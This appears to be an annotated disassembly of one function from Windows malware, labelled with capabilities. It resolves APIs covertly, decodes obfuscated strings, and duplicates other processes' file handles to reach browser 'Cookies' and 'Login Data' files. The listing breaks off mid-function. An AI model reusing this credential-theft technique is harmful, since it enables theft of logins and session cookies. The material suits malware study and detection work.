Function at 0x140118890
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x748]
sub rsp, 0x820
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x140188020]
xor rax, rsp
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x20], rdx
mov dword [rsp + 0x44], 0
mov rax, qword [0x140196888]
mov qword [rbp + 0x28], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x2c0]
call fcn.14012e2b0
lea rdx, str.LOCALAPPDATA
lea rcx, [rbp + 0xa0]
call fcn.140020ea0
mov rcx, rax
call fcn.14001ca00
mov r12, rax
mov cl, 0x69
mov byte [rbp - 0x40], cl
movdqa xmm0, xmmword [0x1401747c0]
movdqu xmmword [rbp - 0x10], xmm0
mov dword [rbp], 0xb08001b
mov dword [rbp + 4], 0x280c05
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140118953
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x140118962
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
xor r8d, r8d
lea r9, [rbp - 0x3c]
lea r10d, [r8 + 8]
nop dword [rax]
nop dword [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140118980
lea r9d, [r10 + 0x17]
lea r8, [rbp - 0x3c]
lea rdx, [rbp - 0x10]
call fcn.14011c9b0
mov qword [rbp - 0x18], rax
movsx ebx, byte [rbp - 0x40]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1401189f9
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x140118a08
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor edx, edx
lea r8, [rbp - 0x3c]
lea r9d, [rdx + 8]
nop dword [rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x140118a20
mov r9d, dword [0x140196874]
lea r8, [rbp - 0x3c]
mov rdx, qword [rbp - 0x18]
call fcn.14011cb00
mov rdi, rax
test rax, rax
je 0x140118abf
movsx edx, byte [rbp - 0x40]
movd xmm1, edx
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
movdqu xmm0, xmmword [rax]
pxor xmm1, xmm0
movdqu xmmword [rax], xmm1
add rax, 0x10
mov ecx, 7
nop word [rax + rax]
xor byte [rax], dl
lea rax, [rax + 1]
sub rcx, 1
jne 0x140118ab0
mov byte [rdi + 0x17], cl
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r13d, 0x5a4d
cmp qword [rsi + 0x60], 0
je 0x140118b92
mov r11, qword [rsi + 0x30]
mov rsi, qword [rsi]
test r11, r11
je 0x140118ad9
cmp word [r11], r13w
jne 0x140118b92
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140118b92
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140118b92
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140118ad9
nop dword [rax + rax]
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140118b81
mov rdx, rdi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140118b7c
cmp byte [rcx], al
jne 0x140118b81
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140118b54
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
jmp 0x140118b94
test r8b, r8b
jne 0x140118b6b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140118b40
jmp 0x140118ad9
xor eax, eax
mov r8d, 0x104
lea rdx, [rbp + 0x2c0]
mov rcx, r12
call rax
dec eax
cmp eax, 0x102
ja 0x14011b581
lea rcx, [rbp + 0x2c0]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140118bc1
cmp byte [rbp + rax + 0x2bf], 0x5c
jne 0x140118beb
dec rax
cmp rax, 0x104
jae 0x14011b5d7
mov byte [rbp + rax + 0x2c0], 0
mov edx, 0x10000
mov qword [rbp + 0xe0], rdx
call fcn.140128630
movzx ebx, byte [rsp + 0x40]
mov qword [rbp + 0x18], rax
movzx r8d, bl
lea rdx, str.NtQuerySystemInformation
lea rcx, [rbp + 0x50]
call fcn.14011bb20
nop
mov rcx, rax
call fcn.14001d5c0
mov r15, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r14, qword [rcx]
cmp qword [r14 + 0x60], 0
je 0x140118cf6
mov r11, qword [r14 + 0x30]
mov r14, qword [r14]
test r11, r11
je 0x140118c39
cmp word [r11], r13w
jne 0x140118cf6
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140118cf6
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140118cf6
lea rax, [r11 + rcx]
mov r12d, dword [rax + 0x1c]
add r12, r11
mov edi, dword [rax + 0x20]
add rdi, r11
mov r13d, dword [rax + 0x24]
add r13, r11
xor r10d, r10d
xor r9d, r9d
mov esi, dword [rax + 0x18]
test esi, esi
je 0x140118ceb
nop dword [rax]
xor r8b, r8b
mov ecx, dword [rdi + r9*4]
add rcx, r11
cmp byte [rcx], r8b
je 0x140118ce0
mov rdx, r15
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140118cdb
cmp byte [rcx], al
jne 0x140118ce0
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140118cb5
movzx eax, word [r13 + r9*2]
mov r10d, dword [r12 + rax*4]
add r10, r11
jmp 0x140118cf9
test r8b, r8b
jne 0x140118ccc
inc r10d
inc r9
cmp r10d, esi
jb 0x140118ca0
mov r13d, 0x5a4d
jmp 0x140118c39
xor r10d, r10d
xor r9d, r9d
mov rdi, qword [rbp + 0xe0]
mov r8d, edi
mov rsi, qword [rbp + 0x18]
mov rdx, rsi
lea ecx, [r9 + 0x10]
call r10
nop
cmp eax, 0xc0000004
jne 0x140118d49
mov rdx, rsi
mov rcx, qword [0x1401968b0]
call fcn.1401286e0
lea eax, [rdi + rdi]
mov edi, eax
mov qword [rbp + 0xe0], rdi
mov edx, eax
call fcn.140128630
mov r13d, 0x5a4d
jmp 0x140118c01
test eax, eax
js 0x1401195d1
xor eax, eax
mov dword [rbp + 0x10], eax
cmp dword [rsi], eax
jbe 0x1401195c2
movzx r15d, byte [rsp + 0x40]
movzx edi, byte [rsp + 0x40]
movzx esi, byte [rsp + 0x40]
movzx r12d, byte [rsp + 0x40]
movzx r13d, byte [rsp + 0x40]
movzx ebx, byte [rsp + 0x40]
movzx r14d, byte [rsp + 0x40]
nop word [rax + rax]
lea rcx, [rax + rax*2]
mov rax, qword [rbp + 0x18]
movups xmm0, xmmword [rax + rcx*8 + 8]
movups xmmword [rsp + 0x50], xmm0
movsd xmm1, qword [rax + rcx*8 + 0x18]
movsd qword [rsp + 0x60], xmm1
cmp dword [rsp + 0x60], 0x12019f
jne 0x1401195ab
xor ecx, ecx
mov qword [rbp + 0xe0], rcx
mov qword [rbp + 0x110], rcx
mov qword [rbp + 0xf0], rcx
mov eax, dword [rsp + 0x50]
mov qword [rbp + 0xe8], rax
mov dword [rbp + 0xa0], 0x30
mov qword [rbp + 0xa8], rcx
mov dword [rbp + 0xb8], ecx
mov qword [rbp + 0xb0], rcx
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xc0], xmm0
movzx r8d, r15b
lea rdx, str.NtOpenProcess
lea rcx, [rbp - 0x40]
call fcn.14011bc10
nop
mov rcx, rax
call fcn.14001d2b0
mov qword [rbp + 0x108], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rcx]
cmp qword [rdx + 0x60], 0
je 0x140118f33
mov r11, qword [rdx + 0x30]
mov rdx, qword [rdx]
mov qword [rbp - 0x78], rdx
test r11, r11
je 0x140118e3f
mov eax, 0x5a4d
cmp word [r11], ax
jne 0x140118f33
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140118f33
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140118f33
lea rax, [r11 + rcx]
mov ecx, dword [rax + 0x1c]
add rcx, r11
mov qword [rsp + 0x70], rcx
mov ecx, dword [rax + 0x20]
add rcx, r11
mov qword [rbp - 0x80], rcx
mov r8d, dword [rax + 0x24]
add r8, r11
mov qword [rbp - 0x70], r8
xor r10d, r10d
xor r9d, r9d
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x48], eax
test eax, eax
je 0x140118e3f
nop dword [rax]
nop dword [rax + rax]
xor dl, dl
mov ecx, dword [rcx + r9*4]
add rcx, r11
cmp byte [rcx], dl
je 0x140118f19
mov r8, qword [rbp + 0x108]
sub r8, rcx
movzx eax, byte [r8 + rcx]
test al, al
je 0x140118f15
cmp byte [rcx], al
jne 0x140118f19
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x140118ee7
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + r9*2]
mov rcx, qword [rsp + 0x70]
mov r10d, dword [rcx + rax*4]
add r10, r11
jmp 0x140118f36
test dl, dl
jne 0x140118efe
inc r10d
inc r9
cmp r10d, dword [rsp + 0x48]
mov rcx, qword [rbp - 0x80]
jb 0x140118ed0
mov rdx, qword [rbp - 0x78]
jmp 0x140118e3f
xor r10d, r10d
lea r9, [rbp + 0xe8]
lea r8, [rbp + 0xa0]
mov edx, 0x40
lea rcx, [rbp + 0x110]
call r10
nop
mov rcx, qword [rbp + 0x110]
mov qword [rsp + 0x78], rcx
test rcx, rcx
je 0x1401195ab
test eax, eax
js 0x1401195ab
movzx r8d, dil
lea rdx, str.NtDuplicateObject
lea rcx, [rbp - 0x40]
call fcn.14011bd10
nop
mov rcx, rax
call fcn.14001e060
mov qword [rsp + 0x70], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rcx]
cmp qword [rdx + 0x60], 0
je 0x140119093
mov r11, qword [rdx + 0x30]
mov rdx, qword [rdx]
mov qword [rbp - 0x78], rdx
test r11, r11
je 0x140118fa7
mov eax, 0x5a4d
cmp word [r11], ax
jne 0x140119093
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140119093
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140119093
lea rax, [r11 + rcx]
mov ecx, dword [rax + 0x1c]
add rcx, r11
mov qword [rbp + 0x108], rcx
mov ecx, dword [rax + 0x20]
add rcx, r11
mov qword [rbp - 0x70], rcx
mov r8d, dword [rax + 0x24]
add r8, r11
mov qword [rbp - 0x80], r8
xor r10d, r10d
xor r9d, r9d
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x48], eax
test eax, eax
je 0x140118fa7
nop
xor dl, dl
mov ecx, dword [rcx + r9*4]
add rcx, r11
cmp byte [rcx], dl
je 0x140119079
mov r8, qword [rsp + 0x70]
sub r8, rcx
movzx eax, byte [r8 + rcx]
test al, al
je 0x140119075
cmp byte [rcx], al
jne 0x140119079
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x140119045
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + r9*2]
mov rcx, qword [rbp + 0x108]
mov r10d, dword [rcx + rax*4]
add r10, r11
jmp 0x140119096
test dl, dl
jne 0x14011905c
inc r10d
inc r9
cmp r10d, dword [rsp + 0x48]
mov rcx, qword [rbp - 0x70]
jb 0x140119030
mov rdx, qword [rbp - 0x78]
jmp 0x140118fa7
xor r10d, r10d
movzx edx, word [rsp + 0x56]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbp + 0xe0]
mov r8, 0xffffffffffffffff
mov rcx, qword [rsp + 0x78]
call r10
test eax, eax
js 0x140119598
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0x108], rax
movzx r8d, sil
lea rdx, [0x1401743f8]
lea rcx, [rbp - 0x40]
call fcn.140026a70
nop
mov rcx, rax
call fcn.14001de30
mov qword [rsp + 0x78], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rcx]
cmp qword [rdx + 0x60], 0
je 0x140119200
mov r11, qword [rdx + 0x30]
mov rdx, qword [rdx]
mov qword [rbp - 0x70], rdx
test r11, r11
je 0x140119115
mov eax, 0x5a4d
cmp word [r11], ax
jne 0x140119200
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140119200
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140119200
lea rax, [r11 + rcx]
mov ecx, dword [rax + 0x1c]
add rcx, r11
mov qword [rbp - 0x80], rcx
mov ecx, dword [rax + 0x20]
add rcx, r11
mov qword [rsp + 0x70], rcx
mov r8d, dword [rax + 0x24]
add r8, r11
mov qword [rbp - 0x78], r8
xor r10d, r10d
xor r9d, r9d
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x48], eax
test eax, eax
je 0x140119115
nop word [rax + rax]
xor dl, dl
mov ecx, dword [rcx + r9*4]
add rcx, r11
cmp byte [rcx], dl
je 0x1401191e5
mov r8, qword [rsp + 0x78]
sub r8, rcx
movzx eax, byte [r8 + rcx]
test al, al
je 0x1401191e1
cmp byte [rcx], al
jne 0x1401191e5
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x1401191b5
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + r9*2]
mov rcx, qword [rbp - 0x80]
mov edx, dword [rcx + rax*4]
add rdx, r11
jmp 0x140119202
test dl, dl
jne 0x1401191cc
inc r10d
inc r9
cmp r10d, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x70]
jb 0x1401191a0
mov rdx, qword [rbp - 0x70]
jmp 0x140119115
xor edx, edx
mov rcx, qword [rbp + 0x108]
call rdx
cmp eax, 1
jne 0x140119585
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x4e0]
call fcn.14012e2b0
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0x108], rax
movzx r8d, r12b
lea rdx, str.GetFinalPathNameByHandleW
lea rcx, [rbp + 0x50]
call fcn.14011be00
nop
mov rcx, rax
call fcn.14001cdf0
mov qword [rsp + 0x78], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rcx]
cmp qword [rdx + 0x60], 0
je 0x140119352
mov r11, qword [rdx + 0x30]
mov rdx, qword [rdx]
mov qword [rbp - 0x70], rdx
test r11, r11
je 0x14011926c
mov eax, 0x5a4d
cmp word [r11], ax
jne 0x140119352
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140119352
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140119352
lea rax, [r11 + rcx]
mov ecx, dword [rax + 0x1c]
add rcx, r11
mov qword [rbp - 0x80], rcx
mov ecx, dword [rax + 0x20]
add rcx, r11
mov qword [rsp + 0x70], rcx
mov r8d, dword [rax + 0x24]
add r8, r11
mov qword [rbp - 0x78], r8
xor r10d, r10d
xor r9d, r9d
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x48], eax
test eax, eax
je 0x14011926c
xor dl, dl
mov ecx, dword [rcx + r9*4]
add rcx, r11
cmp byte [rcx], dl
je 0x140119337
mov r8, qword [rsp + 0x78]
sub r8, rcx
movzx eax, byte [r8 + rcx]
test al, al
je 0x140119333
cmp byte [rcx], al
jne 0x140119337
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x140119306
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + r9*2]
mov rcx, qword [rbp - 0x80]
mov r10d, dword [rcx + rax*4]
add r10, r11
jmp 0x140119355
test dl, dl
jne 0x14011931d
inc r10d
inc r9
cmp r10d, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x70]
jb 0x1401192f1
mov rdx, qword [rbp - 0x70]
jmp 0x14011926c
xor r10d, r10d
xor r9d, r9d
mov r8d, 0x104
lea rdx, [rbp + 0x4e0]
mov rcx, qword [rbp + 0x108]
call r10
nop
movzx r8d, r13b
lea rdx, str.Cookies
lea rcx, [rbp - 0x40]
call fcn.14011bef0
nop
or dword [rsp + 0x44], 4
mov rcx, rax
call fcn.14011b760
mov rdx, rax
lea rcx, [rbp + 0x4e0]
call fcn.14012d918
test rax, rax
jne 0x1401193dc
movzx r8d, bl
lea rdx, str.Login_Data
lea rcx, [rbp + 0x50]
call fcn.14011bff0
nop
or dword [rsp + 0x44], 8
mov rcx, rax
call fcn.14011b640
mov rdx, rax
lea rcx, [rbp + 0x4e0]
call fcn.14012d918
test rax, rax
je 0x1401193de
mov al, 1
mov ecx, dword [rsp + 0x44]
test cl, 8
je 0x1401193ec
and dword [rsp + 0x44], 0xfffffff7
mov ecx, dword [rsp + 0x44]
test cl, 4
je 0x1401193fa
and dword [rsp + 0x44], 0xfffffffb
test al, al
je 0x140119585
mov qword [rbp + 0x108], 0
mov rax, qword [rbp + 0x110]
mov qword [rbp - 0x68], rax
movzx r8d, r14b
lea rdx, str.NtDuplicateObject
lea rcx, [rbp + 0x50]
call fcn.14011c100
nop
mov rcx, rax
call fcn.14001e060
mov qword [rsp + 0x78], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rcx]
cmp qword [rdx + 0x60], 0
je 0x14011953c
mov r11, qword [rdx + 0x30]
mov rdx, qword [rdx]
mov qword [rbp - 0x70], rdx
test r11, r11
je 0x14011944e
mov eax, 0x5a4d
cmp word [r11], ax
jne 0x14011953c
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14011953c
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14011953c
lea rax, [r11 + rcx]
mov ecx, dword [rax + 0x1c]
add rcx, r11
mov qword [rbp - 0x80], rcx
mov ecx, dword [rax + 0x20]
add rcx, r11
mov qword [rsp + 0x70], rcx
mov r8d, dword [rax + 0x24]
add r8, r11
mov qword [rbp - 0x78], r8
xor r10d, r10d
xor r9d, r9d
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x48], eax
test eax, eax
je 0x14011944e
xor dl, dl
mov ecx, dword [rcx + r9*4]
add rcx, r11
cmp byte [rcx], dl
je 0x140119521
mov r8, qword [rsp + 0x78]
sub r8, rcx
nop dword [rax + rax]
movzx eax, byte [r8 + rcx]
test al, al
je 0x14011951d
cmp byte [rcx], al
jne 0x140119521
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x1401194f0
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + r9*2]
mov rcx, qword [rbp - 0x80]
mov r10d, dword [rcx + rax*4]
add r10, r11
jmp 0x14011953f
test dl, dl
jne 0x140119507
inc r10d
inc r9
cmp r10d, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x70]
jb 0x1401194d3
mov rdx, qword [rbp - 0x70]
jmp 0x14011944e
xor r10d, r10d
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbp + 0x108]
mov r8, 0xffffffffffffffff
movzx edx, word [rsp + 0x56]
mov rcx, qword [rbp - 0x68]
call r10
nop
mov rdx, qword [rbp + 0x108]
mov rcx, qword [0x1401968b0]
call fcn.140128850
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [0x1401968b0]
call fcn.140128850
mov rdx, qword [rbp + 0x110]
mov rcx, qword [0x1401968b0]
call fcn.140128850
mov eax, dword [rbp + 0x10]
inc eax
mov dword [rbp + 0x10], eax
mov rcx, qword [rbp + 0x18]
cmp eax, dword [rcx]
jb 0x140118d90
mov rsi, rcx
mov rdx, rsi
mov rcx, qword [0x1401968b0]
call fcn.1401286e0
xor r14d, r14d
mov qword [rbp + 0xe0], r14
lea rbx, [0x14018df90]
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
lea rax, [rbp + 0x2c0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140119610
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp - 0x60]
call fcn.14001ea30
nop
mov rax, r14
shl rax, 5
add rax, rbx
mov qword [rbp - 0x68], rax
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.14001e600
mov qword [rbp + 0x118], 0
mov qword [rbp + 0x128], 0
mov qword [rbp + 0x130], 0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x118], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x128], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or dword [rsp + 0x44], 0x10
lea rcx, [rbp - 0x60]
call fcn.14001e820
mov cl, 0x33
mov byte [rbp + 0xa0], cl
mov dword [rbp + 0xd0], 0x4156437c
mov word [rbp + 0xd4], 0x52
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1401196d2
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1401196e1
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
xor r8d, r8d
lea r9, [rbp + 0xa4]
lea r10d, [r8 + 8]
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140119700
lea r9d, [r10 + 5]
lea r8, [rbp + 0xa4]
lea rdx, [rbp + 0xd0]
call fcn.14011c9b0
mov qword [rbp + 0xc8], rax
movsx ebx, byte [rbp + 0xa0]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140119785
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x140119794
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor edx, edx
lea r8, [rbp + 0xa4]
lea r9d, [rdx + 8]
nop dword [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x1401197b0
mov r9d, dword [0x140196874]
lea r8, [rbp + 0xa4]
mov rdx, qword [rbp + 0xc8]
call fcn.14011cb00
mov r9, rax
test rax, rax
je 0x140119835
movzx eax, byte [rbp + 0xa0]
xor byte [r9], al
xor byte [r9 + 1], al
xor byte [r9 + 2], al
xor byte [r9 + 3], al
xor byte [r9 + 4], al
mov byte [r9 + 5], 0
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [r9 + rax], 0
jne 0x140119840
lea rcx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae rcx, qword [rbp + 0x118]
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, qword [rbp + 0x128]
call fcn.140023600
cmp rax, 0xffffffffffffffff
je 0x140119dc3
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x3d0]
call fcn.14012e2b0
mov cl, 0x28
mov byte [rbp + 0xa0], cl
mov dword [rbp + 0xd0], 0x6c787869
mov dword [rbp + 0xd4], 0x697c69
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1401198ca
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1401198d9
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor edx, edx
lea r8, [rbp + 0xa4]
lea r9d, [rdx + 8]
nop dword [rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x1401198f0
mov r9d, 7
lea r8, [rbp + 0xa4]
lea rdx, [rbp + 0xd0]
call fcn.14011c9b0
mov qword [rbp + 0xc8], rax
movsx ebx, byte [rbp + 0xa0]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140119973
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x140119982
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor edx, edx
lea r8, [rbp + 0xa4]
lea r9d, [rdx + 8]
nop word [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x1401199a0
mov r9d, dword [0x140196874]
lea r8, [rbp + 0xa4]
mov rdx, qword [rbp + 0xc8]
call fcn.14011cb00
mov r13, rax
test rax, rax
je 0x140119a2e
movzx eax, byte [rbp + 0xa0]
xor byte [r13], al
xor byte [r13 + 1], al
xor byte [r13 + 2], al
xor byte [r13 + 3], al
xor byte [r13 + 4], al
xor byte [r13 + 5], al
xor byte [r13 + 6], al
mov byte [r13 + 7], 0
mov cl, 0x68
mov byte [rbp - 0x40], cl
movdqa xmm0, xmmword [0x1401747d0]
movdqu xmmword [rbp - 0x10], xmm0
mov dword [rbp], 0xa09011a
mov dword [rbp + 4], 0x290d04
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140119a69
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x140119a78
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor edx, edx
lea r8, [rbp - 0x3c]
lea r9d, [rdx + 8]
nop dword [rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x140119a90
mov r9d, 0x17
lea r8, [rbp - 0x3c]
lea rdx, [rbp - 0x10]
call fcn.14011c9b0
mov qword [rbp - 0x18], rax
movsx ebx, byte [rbp - 0x40]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140119b07
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x140119b16
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor edx, edx
lea r8, [rbp - 0x3c]
lea r9d, [rdx + 8]
nop word [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
